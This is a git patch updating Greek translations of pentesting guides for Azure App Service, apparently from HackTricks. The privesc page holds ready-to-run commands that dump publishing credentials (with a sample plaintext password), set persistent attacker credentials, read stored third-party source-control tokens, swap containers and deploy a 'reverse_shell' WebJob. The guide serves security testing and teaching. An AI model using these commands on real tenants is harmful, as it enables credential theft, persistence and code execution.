From 7dc594485774353a85efe39dc9e0ff6d4a8b0cfc Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 3 Jan 2025 19:28:07 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md --- .../azure-security/az-enumeration-tools.md | 46 ++-- .../az-app-services-privesc.md | 253 +++++++++++++++++- .../az-services/az-app-service.md | 192 ++++++++----- 3 files changed, 402 insertions(+), 89 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-enumeration-tools.md b/src/pentesting-cloud/azure-security/az-enumeration-tools.md index e13c00800..31deb850e 100644 --- a/src/pentesting-cloud/azure-security/az-enumeration-tools.md +++ b/src/pentesting-cloud/azure-security/az-enumeration-tools.md @@ -1,4 +1,4 @@ -# Az - Enumeration Tools +# Az - Εργαλεία Απαρίθμησης {{#include ../../banners/hacktricks-training.md}} @@ -6,31 +6,29 @@ > [!TIP] > Σε linux θα χρειαστεί να εγκαταστήσετε το PowerShell Core: -> -> ```bash -> sudo apt-get update -> sudo apt-get install -y wget apt-transport-https software-properties-common -> -> # Ubuntu 20.04 -> wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb -> -> # Ενημέρωση αποθετηρίων -> sudo apt-get update -> sudo add-apt-repository universe -> -> # Εγκατάσταση & εκκίνηση του powershell -> sudo apt-get install -y powershell -> pwsh -> -> # Az cli -> curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash -> ``` +```bash +sudo apt-get update +sudo apt-get install -y wget apt-transport-https software-properties-common +# Ubuntu 20.04 +wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb + +# Update repos +sudo apt-get update +sudo add-apt-repository universe + +# Install & start powershell +sudo apt-get install -y powershell +pwsh + +# Az cli +curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash +``` ## Εγκατάσταση PowerShell σε MacOS Οδηγίες από την [**τεκμηρίωση**](https://learn.microsoft.com/en-us/powershell/scripting/install/installing-powershell-on-macos?view=powershell-7.4): -1. Εγκαταστήστε το `brew` αν δεν είναι ήδη εγκατεστημένο: +1. Εγκαταστήστε το `brew` αν δεν έχει εγκατασταθεί ακόμα: ```bash /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)" ``` @@ -105,11 +103,11 @@ $env:HTTP_PROXY="http://127.0.0.1:8080" ```bash Get-AzResourceGroup -Debug ``` -Για να κάνετε **MitM** στο εργαλείο και να **ελέγξετε όλα τα αιτήματα** που στέλνει χειροκίνητα, μπορείτε να ρυθμίσετε τις μεταβλητές περιβάλλοντος `HTTPS_PROXY` και `HTTP_PROXY` σύμφωνα με τα [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). +Για να κάνετε ένα **MitM** στο εργαλείο και να **ελέγξετε όλα τα αιτήματα** που στέλνει χειροκίνητα, μπορείτε να ρυθμίσετε τις μεταβλητές περιβάλλοντος `HTTPS_PROXY` και `HTTP_PROXY` σύμφωνα με τα [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy). ### Microsoft Graph PowerShell -Το Microsoft Graph PowerShell είναι ένα διαλειτουργικό SDK που επιτρέπει την πρόσβαση σε όλα τα Microsoft Graph APIs, συμπεριλαμβανομένων υπηρεσιών όπως το SharePoint, το Exchange και το Outlook, χρησιμοποιώντας ένα μόνο endpoint. Υποστηρίζει PowerShell 7+, σύγχρονη αυθεντικοποίηση μέσω MSAL, εξωτερικές ταυτότητες και προηγμένα ερωτήματα. Με έμφαση στην πρόσβαση με ελάχιστα δικαιώματα, διασφαλίζει ασφαλείς λειτουργίες και λαμβάνει τακτικές ενημερώσεις για να ευθυγραμμίζεται με τις τελευταίες δυνατότητες του Microsoft Graph API. +Το Microsoft Graph PowerShell είναι ένα SDK πολλαπλών πλατφορμών που επιτρέπει την πρόσβαση σε όλα τα Microsoft Graph APIs, συμπεριλαμβανομένων υπηρεσιών όπως το SharePoint, το Exchange και το Outlook, χρησιμοποιώντας ένα μόνο endpoint. Υποστηρίζει PowerShell 7+, σύγχρονη αυθεντικοποίηση μέσω MSAL, εξωτερικές ταυτότητες και προηγμένα ερωτήματα. Με έμφαση στην πρόσβαση με ελάχιστα δικαιώματα, διασφαλίζει ασφαλείς λειτουργίες και λαμβάνει τακτικές ενημερώσεις για να ευθυγραμμίζεται με τα τελευταία χαρακτηριστικά του Microsoft Graph API. Ακολουθήστε αυτόν τον σύνδεσμο για τις [**οδηγίες εγκατάστασης**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation). @@ -126,6 +124,6 @@ Get-MgUser -Debug Το Azure Active Directory (AD) module, τώρα **παρωχημένο**, είναι μέρος του Azure PowerShell για τη διαχείριση πόρων Azure AD. Παρέχει cmdlets για εργασίες όπως η διαχείριση χρηστών, ομάδων και εγγραφών εφαρμογών στο Entra ID. > [!TIP] -> Αυτό έχει αντικατασταθεί από το Microsoft Graph PowerShell +> Αυτό αντικαθίσταται από το Microsoft Graph PowerShell Ακολουθήστε αυτόν τον σύνδεσμο για τις [**οδηγίες εγκατάστασης**](https://www.powershellgallery.com/packages/AzureAD). diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md index ff5103adb..b7b265a31 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md @@ -10,16 +10,16 @@ ../az-services/az-app-service.md {{#endref}} -### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read, +### Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read -Αυτές οι άδειες επιτρέπουν την εκτέλεση των παρακάτω εντολών για να αποκτήσετε ένα **SSH shell** μέσα σε μια εφαρμογή ιστού +Αυτές οι άδειες επιτρέπουν την απόκτηση ενός **SSH shell** μέσα σε μια εφαρμογή ιστού. Επίσης επιτρέπουν την **αποσφαλμάτωση** της εφαρμογής. -- Direct option: +- **SSH σε μία εντολή**: ```bash # Direct option az webapp ssh --name --resource-group ``` -- Δημιουργήστε σήραγγα και στη συνέχεια συνδεθείτε μέσω SSH: +- **Δημιουργήστε σήραγγα και στη συνέχεια συνδεθείτε μέσω SSH**: ```bash az webapp create-remote-connection --name --resource-group @@ -32,4 +32,249 @@ az webapp create-remote-connection --name --resource-group ## So from that machine ssh into that port (you might need generate a new ssh session to the jump host) ssh root@127.0.0.1 -p 39895 ``` +- **Αποσφαλμάτωση της εφαρμογής**: +1. Εγκαταστήστε την επέκταση Azure στο VScode. +2. Συνδεθείτε στην επέκταση με τον λογαριασμό Azure. +3. Καταγράψτε όλες τις υπηρεσίες App μέσα στη συνδρομή. +4. Επιλέξτε την υπηρεσία App που θέλετε να αποσφαλματώσετε, κάντε δεξί κλικ και επιλέξτε "Start Debugging". +5. Εάν η εφαρμογή δεν έχει ενεργοποιημένη την αποσφαλμάτωση, η επέκταση θα προσπαθήσει να την ενεργοποιήσει, αλλά ο λογαριασμός σας χρειάζεται την άδεια `Microsoft.Web/sites/config/write` για να το κάνει. + +### Απόκτηση Διαπιστευτηρίων SCM & Ενεργοποίηση Βασικής Αυθεντικοποίησης + +Για να αποκτήσετε τα διαπιστευτήρια SCM, μπορείτε να χρησιμοποιήσετε τις παρακάτω **εντολές και άδειες**: + +- Η άδεια **`Microsoft.Web/sites/publishxml/action`** επιτρέπει την κλήση: +```bash +az webapp deployment list-publishing-profiles --name --resource-group +# Example output +[ +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy", +"publishMethod": "MSDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"ftpPassiveMode": "True", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP", +"publishMethod": "FTP", +"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot", +"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +}, +{ +"SQLServerDBConnectionString": "", +"controlPanelLink": "https://portal.azure.com", +"databases": null, +"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net", +"hostingProviderForumLink": "", +"mySQLDBConnectionString": "", +"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy", +"publishMethod": "ZipDeploy", +"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443", +"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"webSystem": "WebSites" +} +] +``` +Σημειώστε ότι το **όνομα χρήστη είναι πάντα το ίδιο** (εκτός από το FTP που προσθέτει το όνομα της εφαρμογής στην αρχή) αλλά ο **κωδικός πρόσβασης είναι ο ίδιος** για όλους αυτούς. + +Επιπλέον, το **SCM URL είναι `.scm.azurewebsites.net`**. + +- Η άδεια **`Microsoft.Web/sites/config/list/action`** επιτρέπει την κλήση: +```bash +az webapp deployment list-publishing-credentials --name --resource-group +# Example output +{ +"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"kind": null, +"location": "Canada Central", +"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a", +"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS", +"publishingPasswordHash": null, +"publishingPasswordHashSalt": null, +"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a", +"resourceGroup": "carlos_rg_3170", +"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net", +"type": "Microsoft.Web/sites/publishingcredentials" +} +``` +Σημειώστε ότι τα **credentials είναι τα ίδια** με την προηγούμενη εντολή. + +- Μια άλλη επιλογή θα ήταν να **ορίσετε τα δικά σας creds** και να τα χρησιμοποιήσετε: +```bash +az webapp deployment user set \ +--user-name hacktricks \ +--password 'W34kP@ssw0rd123!' +``` +Στη συνέχεια, μπορείτε να χρησιμοποιήσετε αυτά τα διαπιστευτήρια για να **έχετε πρόσβαση στις πλατφόρμες SCM και FTP**. Αυτός είναι επίσης ένας εξαιρετικός τρόπος για να διατηρήσετε την επιμονή. + +Θυμηθείτε ότι για να αποκτήσετε πρόσβαση στην πλατφόρμα SCM από το **web πρέπει να αποκτήσετε πρόσβαση στο `/BasicAuth`**. + +> [!WARNING] +> Σημειώστε ότι κάθε χρήστης μπορεί να διαμορφώσει τα δικά του διαπιστευτήρια καλώντας την προηγούμενη εντολή, αλλά αν ο χρήστης δεν έχει αρκετές άδειες για να αποκτήσει πρόσβαση στο SCM ή FTP, τα διαπιστευτήρια δεν θα λειτουργήσουν. + +- Αν δείτε ότι αυτά τα διαπιστευτήρια είναι **REDACTED**, είναι επειδή **πρέπει να ενεργοποιήσετε την επιλογή βασικής αυθεντικοποίησης SCM** και για αυτό χρειάζεστε τη δεύτερη άδεια (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` +```bash +# Enable basic authentication for SCM +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +}' + +# Enable basic authentication for FTP +az rest --method PUT \ +--uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \ +--body '{ +"properties": { +"allow": true +} +} +``` +### Δημοσίευση κώδικα χρησιμοποιώντας διαπιστευτήρια SCM + +Απλά έχοντας έγκυρα διαπιστευτήρια SCM είναι δυνατό να **δημοσιεύσετε κώδικα** στην υπηρεσία App. Αυτό μπορεί να γίνει χρησιμοποιώντας την παρακάτω εντολή. + +Για αυτό το παράδειγμα python μπορείτε να κατεβάσετε το repo από https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, να κάνετε οποιεσδήποτε **αλλαγές** επιθυμείτε και στη συνέχεια να **συμπιέσετε τρέχοντας: `zip -r app.zip .`**. + +Στη συνέχεια, μπορείτε να **δημοσιεύσετε τον κώδικα** με την παρακάτω εντολή: +```bash +curl -X POST "/api/publish?type=zip" --data-binary "@./app.zip" -u ':' -H "Content-Type: application/octet-stream" +``` +### Microsoft.Web/sites/publish/Action | SCM credentials + +Η αναφερόμενη άδεια Azure επιτρέπει την εκτέλεση αρκετών ενδιαφερόντων ενεργειών που μπορούν επίσης να εκτελούνται με τα SCM credentials: + +- Διαβάστε τα **Webjobs** logs: +```bash +# Using Azure credentials +az rest --method GET --url "/vfs/data/jobs//rev5/job_log.txt" --resource "https://management.azure.com/" +az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/" + +# Using SCM username and password: +curl "/vfs/data/jobs/continuous/job_name/job_log.txt" \ +--user ':>' -v +``` +- Διαβάστε τον πηγαίο κώδικα του **Webjobs**: +```bash +# Using SCM username and password: +# Find all the webjobs inside: +curl "/wwwroot/App_Data/jobs/" \ +--user ':' + +# e.g. +curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \ +--user ':' +``` +- Δημιουργία **συνεχούς Webjob**: +```bash +# Using Azure permissions +az rest \ +--method put \ +--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \ +--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \ +--body "@/Users/username/Downloads/rev.js" \ +--resource "https://management.azure.com/" + +# Using SCM credentials +curl -X PUT \ +"/api/Continuouswebjobs/reverse_shell2" \ +-H 'Content-Disposition: attachment; filename=rev.js' \ +--data-binary "@/Users/carlospolop/Downloads/rev.js" \ +--user ':' +``` +### Microsoft.Web/sites/config/list/action + +Αυτή η άδεια επιτρέπει την καταγραφή των **connection strings** και των **appsettings** της υπηρεσίας App, τα οποία μπορεί να περιέχουν ευαίσθητες πληροφορίες όπως διαπιστευτήρια βάσης δεδομένων. +```bash +az webapp config connection-string list --name --resource-group +az webapp config appsettings list --name --resource-group +``` +### Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + +Αυτές οι άδειες επιτρέπουν να **ανατεθεί μια διαχειριζόμενη ταυτότητα** στην υπηρεσία App, οπότε αν μια υπηρεσία App είχε προηγουμένως παραβιαστεί, αυτό θα επιτρέψει στον επιτιθέμενο να αναθέσει νέες διαχειριζόμενες ταυτότητες στην υπηρεσία App και να **κλιμακώσει τα δικαιώματα** σε αυτές. +```bash +az webapp identity assign --name --resource-group --identities /subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ +``` +### Διαβάστε τις Ρυθμισμένες Πιστοποιήσεις Τρίτων + +Εκτελώντας την παρακάτω εντολή, είναι δυνατόν να **διαβάσετε τις πιστοποιήσεις τρίτων** που είναι ρυθμισμένες στον τρέχοντα λογαριασμό. Σημειώστε ότι αν για παράδειγμα κάποιες πιστοποιήσεις Github είναι ρυθμισμένες σε διαφορετικό χρήστη, δεν θα μπορείτε να αποκτήσετε πρόσβαση στο token από έναν διαφορετικό. +```bash +az rest --method GET \ +--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01" +``` +Αυτή η εντολή επιστρέφει tokens για το Github, Bitbucket, Dropbox και OneDrive. + +Εδώ έχετε μερικά παραδείγματα εντολών για να ελέγξετε τα tokens: +```bash +# GitHub – List Repositories +curl -H "Authorization: token " \ +-H "Accept: application/vnd.github.v3+json" \ +https://api.github.com/user/repos + +# Bitbucket – List Repositories +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://api.bitbucket.org/2.0/repositories + +# Dropbox – List Files in Root Folder +curl -X POST https://api.dropboxapi.com/2/files/list_folder \ +-H "Authorization: Bearer " \ +-H "Content-Type: application/json" \ +--data '{"path": ""}' + +# OneDrive – List Files in Root Folder +curl -H "Authorization: Bearer " \ +-H "Accept: application/json" \ +https://graph.microsoft.com/v1.0/me/drive/root/children +``` +### Ενημέρωση Κώδικα Εφαρμογής από την πηγή + +- Εάν η ρυθμισμένη πηγή είναι ένας τρίτος πάροχος όπως το Github, το BitBucket ή ένα Azure Repository, μπορείτε να **ενημερώσετε τον κώδικα** της υπηρεσίας εφαρμογής παραβιάζοντας τον πηγαίο κώδικα στο αποθετήριο. +- Εάν η εφαρμογή είναι ρυθμισμένη να χρησιμοποιεί ένα **απομακρυσμένο git repository** (με όνομα χρήστη και κωδικό πρόσβασης), είναι δυνατόν να αποκτήσετε το **URL και τα βασικά διαπιστευτήρια αυθεντικοποίησης** για να κλωνοποιήσετε και να σπρώξετε αλλαγές με: +- Χρησιμοποιώντας την άδεια **`Microsoft.Web/sites/sourcecontrols/read`**: `az webapp deployment source show --name --resource-group ` +- Χρησιμοποιώντας την άδεια **`Microsoft.Web/sites/config/list/action`**: +- `az webapp deployment list-publishing-credentials --name --resource-group ` +- `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` +- Εάν η εφαρμογή είναι ρυθμισμένη να χρησιμοποιεί ένα **τοπικό git repository**, είναι δυνατόν να **κλωνοποιήσετε το αποθετήριο** και να **σπρώξετε αλλαγές** σε αυτό: +- Χρησιμοποιώντας την άδεια **`Microsoft.Web/sites/sourcecontrols/read`**: Μπορείτε να αποκτήσετε το URL του git repo με `az webapp deployment source show --name --resource-group `, αλλά θα είναι το ίδιο με το SCM URL της εφαρμογής με την διαδρομή `/.git` (π.χ. `https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git`). +- Για να αποκτήσετε τα διαπιστευτήρια SCM χρειάζεστε την άδεια: +- **`Microsoft.Web/sites/publishxml/action`**: Στη συνέχεια, εκτελέστε `az webapp deployment list-publishing-profiles --resource-group -n `. +- **`Microsoft.Web/sites/config/list/action`**: Στη συνέχεια, εκτελέστε `az webapp deployment list-publishing-credentials --name --resource-group ` + +> [!WARNING] +> Σημειώστε ότι έχοντας την άδεια `Microsoft.Web/sites/config/list/action` και τα διαπιστευτήρια SCM είναι πάντα δυνατό να αναπτύξετε σε μια webapp (ακόμα και αν είχε ρυθμιστεί να χρησιμοποιεί έναν τρίτο πάροχο) όπως αναφέρθηκε σε προηγούμενη ενότητα. + +> [!WARNING] +> Σημειώστε ότι έχοντας τις παρακάτω άδειες είναι επίσης **δυνατό να εκτελέσετε ένα αυθαίρετο κοντέινερ** ακόμα και αν η webapp είχε ρυθμιστεί διαφορετικά. + +### `Microsoft.Web/sites/config/Write`, `Microsoft.Web/sites/config/Read`, `Microsoft.Web/sites/config/list/Action`, `Microsoft.Web/sites/Read` + +Αυτό είναι το σύνολο αδειών που επιτρέπει να **τροποποιήσετε το κοντέινερ που χρησιμοποιείται** από μια webapp. Ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί για να κάνει μια webapp να εκτελεί ένα κακόβουλο κοντέινερ. +```bash +az webapp config container set \ +--name \ +--resource-group \ +--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest +``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-app-service.md b/src/pentesting-cloud/azure-security/az-services/az-app-service.md index e3dead925..a587b1321 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-app-service.md +++ b/src/pentesting-cloud/azure-security/az-services/az-app-service.md @@ -8,30 +8,81 @@ Azure App Services επιτρέπει στους προγραμματιστές Κάθε εφαρμογή εκτελείται μέσα σε ένα sandbox, αλλά η απομόνωση εξαρτάται από τα σχέδια App Service. -- Οι εφαρμογές σε δωρεάν και κοινές κατηγορίες εκτελούνται σε κοινές VM -- Οι εφαρμογές σε κανονικές και premium κατηγορίες εκτελούνται σε αποκλειστικές VM +- Οι εφαρμογές σε δωρεάν και κοινές κατηγορίες εκτελούνται σε κοινές VM. +- Οι εφαρμογές σε κανονικές και premium κατηγορίες εκτελούνται σε αποκλειστικές VM. > [!WARNING] > Σημειώστε ότι **κανένα** από αυτά τα επίπεδα απομόνωσης **δεν αποτρέπει** άλλες κοινές **ευπάθειες ιστού** (όπως η μεταφόρτωση αρχείων ή οι εισβολές). Και αν χρησιμοποιηθεί μια **ταυτότητα διαχείρισης**, θα μπορούσε να είναι σε θέση να **ανεβάσει δικαιώματα σε αυτές**. -### Azure Function Apps +Οι εφαρμογές έχουν κάποιες ενδιαφέρουσες ρυθμίσεις: -Βασικά, **οι Azure Function apps είναι ένα υποσύνολο του Azure App Service** στο διαδίκτυο και αν πάτε στην κονσόλα ιστού και καταγράψετε όλες τις υπηρεσίες εφαρμογών ή εκτελέσετε `az webapp list` στο az cli, θα μπορείτε να **δείτε και τις Function apps καταγεγραμμένες εδώ**. - -Στην πραγματικότητα, ορισμένα από τα **χαρακτηριστικά που σχετίζονται με την ασφάλεια** που χρησιμοποιούν οι υπηρεσίες εφαρμογών (`webapp` στο az cli), **χρησιμοποιούνται επίσης από τις Function apps**. +- **Always On**: Διασφαλίζει ότι η εφαρμογή είναι πάντα σε λειτουργία. Αν δεν είναι ενεργοποιημένο, η εφαρμογή θα σταματήσει να λειτουργεί μετά από 20 λεπτά αδράνειας και θα ξεκινήσει ξανά όταν ληφθεί ένα αίτημα. +- Αυτό είναι απαραίτητο αν έχετε μια webjob που χρειάζεται να εκτελείται συνεχώς, καθώς η webjob θα σταματήσει αν η εφαρμογή σταματήσει. +- **SSH**: Αν είναι ενεργοποιημένο, ένας χρήστης με αρκετά δικαιώματα μπορεί να συνδεθεί στην εφαρμογή χρησιμοποιώντας SSH. +- **Debugging**: Αν είναι ενεργοποιημένο, ένας χρήστης με αρκετά δικαιώματα μπορεί να αποσφαλματώσει την εφαρμογή. Ωστόσο, αυτό απενεργοποιείται αυτόματα κάθε 48 ώρες. +- **Web App + Database**: Η διαδικτυακή κονσόλα επιτρέπει τη δημιουργία μιας εφαρμογής με μια βάση δεδομένων. Σε αυτή την περίπτωση, είναι δυνατή η επιλογή της βάσης δεδομένων που θα χρησιμοποιηθεί (SQLAzure, PostgreSQL, MySQL, MongoDB) και επιτρέπει επίσης τη δημιουργία ενός Azure Cache for Redis. +- Η διεύθυνση URL που περιέχει τα διαπιστευτήρια για τη βάση δεδομένων και το Redis θα αποθηκευτεί στα **appsettings**. +- **Container**: Είναι δυνατή η ανάπτυξη ενός container στην υπηρεσία App Service υποδεικνύοντας τη διεύθυνση URL του container και τα διαπιστευτήρια για την πρόσβαση σε αυτό. ## Basic Authentication -Κατά τη δημιουργία μιας διαδικτυακής εφαρμογής (και συνήθως μιας Azure function), είναι δυνατόν να υποδείξετε αν θέλετε να ενεργοποιηθεί η Βασική Αυθεντικοποίηση. Αυτό βασικά **ενεργοποιεί το SCM και το FTP** για την εφαρμογή, ώστε να είναι δυνατή η ανάπτυξη της εφαρμογής χρησιμοποιώντας αυτές τις τεχνολογίες.\ -Επιπλέον, προκειμένου να συνδεθείτε σε αυτές, η Azure παρέχει μια **API που επιτρέπει να αποκτήσετε το όνομα χρήστη, τον κωδικό πρόσβασης και το URL** για να συνδεθείτε στους διακομιστές SCM και FTP. +Κατά τη δημιουργία μιας διαδικτυακής εφαρμογής (και μιας Azure function συνήθως), είναι δυνατή η ένδειξη αν θέλετε να ενεργοποιηθεί η Βασική Αυθεντικοποίηση. Αυτό βασικά **ενεργοποιεί το SCM και το FTP** για την εφαρμογή, έτσι ώστε να είναι δυνατή η ανάπτυξη της εφαρμογής χρησιμοποιώντας αυτές τις τεχνολογίες.\ +Επιπλέον, προκειμένου να συνδεθείτε σε αυτές, η Azure παρέχει μια **API που επιτρέπει να αποκτήσετε το όνομα χρήστη, τον κωδικό πρόσβασης και τη διεύθυνση URL** για να συνδεθείτε στους διακομιστές SCM και FTP. -- Authentication: az webapp auth show --name lol --resource-group lol_group +Είναι δυνατή η σύνδεση στο SCM χρησιμοποιώντας έναν διαδικτυακό περιηγητή στη διεύθυνση `https:///BasicAuth` και να ελέγξετε όλα τα αρχεία και τις αναπτύξεις εκεί. -SSH +### Kudu -Always On +Kudu είναι μια **μηχανή ανάπτυξης και πλατφόρμα διαχείρισης για Azure App Service και Function Apps**, παρέχοντας αναπτύξεις βασισμένες σε Git, απομακρυσμένη αποσφαλμάτωση και δυνατότητες διαχείρισης αρχείων για διαδικτυακές εφαρμογές. Είναι προσβάσιμο μέσω της διεύθυνσης URL SCM της διαδικτυακής εφαρμογής. + +Σημειώστε ότι οι εκδόσεις Kudu που χρησιμοποιούνται από τις υπηρεσίες App Services και από τις Function Apps είναι διαφορετικές, με την έκδοση των Function apps να είναι πολύ πιο περιορισμένη. + +Ορισμένα ενδιαφέροντα endpoints που μπορείτε να βρείτε στο Kudu είναι: +- `/DebugConsole`: Μια κονσόλα που σας επιτρέπει να εκτελείτε εντολές στο περιβάλλον όπου εκτελείται το Kudu. +- Σημειώστε ότι αυτό το περιβάλλον **δεν έχει πρόσβαση** στην υπηρεσία μεταδεδομένων για να αποκτήσει tokens. +- `/webssh/host`: Ένας διαδικτυακός πελάτης SSH που σας επιτρέπει να συνδεθείτε μέσα στο container όπου εκτελείται η εφαρμογή. +- Αυτό το περιβάλλον **έχει πρόσβαση στην υπηρεσία μεταδεδομένων** προκειμένου να αποκτήσει tokens από τις ανατεθείσες διαχειριζόμενες ταυτότητες. +- `/Env`: Λάβετε πληροφορίες σχετικά με το σύστημα, τις ρυθμίσεις της εφαρμογής, τις μεταβλητές περιβάλλοντος, τις συμβολοσειρές σύνδεσης και τις κεφαλίδες HTTP. +- `/wwwroot/`: Ο ριζικός κατάλογος της διαδικτυακής εφαρμογής. Μπορείτε να κατεβάσετε όλα τα αρχεία από εδώ. + +## Sources + +Οι υπηρεσίες App Services επιτρέπουν την ανέβασμα του κώδικα ως αρχείο zip από προεπιλογή, αλλά επιτρέπουν επίσης τη σύνδεση σε μια τρίτη υπηρεσία και την απόκτηση του κώδικα από εκεί. + +- Οι τρέχουσες υποστηριζόμενες τρίτες πηγές είναι **Github** και **Bitbucket**. +- Μπορείτε να αποκτήσετε τα διαπιστευτήρια αυθεντικοποίησης εκτελώντας `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"` +- Η Azure από προεπιλογή θα ρυθμίσει μια **Github Action** για να αναπτύξει τον κώδικα στην υπηρεσία App Service κάθε φορά που ενημερώνεται ο κώδικας. +- Είναι επίσης δυνατή η ένδειξη ενός **απομακρυσμένου git repository** (με όνομα χρήστη και κωδικό πρόσβασης) για να αποκτήσετε τον κώδικα από εκεί. +- Μπορείτε να αποκτήσετε τα διαπιστευτήρια για το απομακρυσμένο repo εκτελώντας `az webapp deployment source show --name --resource-group ` ή `az rest --method POST --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"` +- Είναι επίσης δυνατή η χρήση ενός **Azure Repository**. +- Είναι επίσης δυνατή η ρύθμιση ενός **τοπικού git repository**. +- Μπορείτε να αποκτήσετε τη διεύθυνση URL του git repo με `az webapp deployment source show --name --resource-group ` και θα είναι η διεύθυνση URL SCM της εφαρμογής. +- Για να το κλωνοποιήσετε, θα χρειαστείτε τα διαπιστευτήρια SCM που μπορείτε να αποκτήσετε με `az webapp deployment list-publishing-profiles --resource-group -n ` + + +## Webjobs + +Οι Azure WebJobs είναι **εργασίες παρασκηνίου που εκτελούνται στο περιβάλλον Azure App Service**. Επιτρέπουν στους προγραμματιστές να εκτελούν σενάρια ή προγράμματα παράλληλα με τις διαδικτυακές τους εφαρμογές, διευκολύνοντας τη διαχείριση ασύγχρονων ή χρονοβόρων 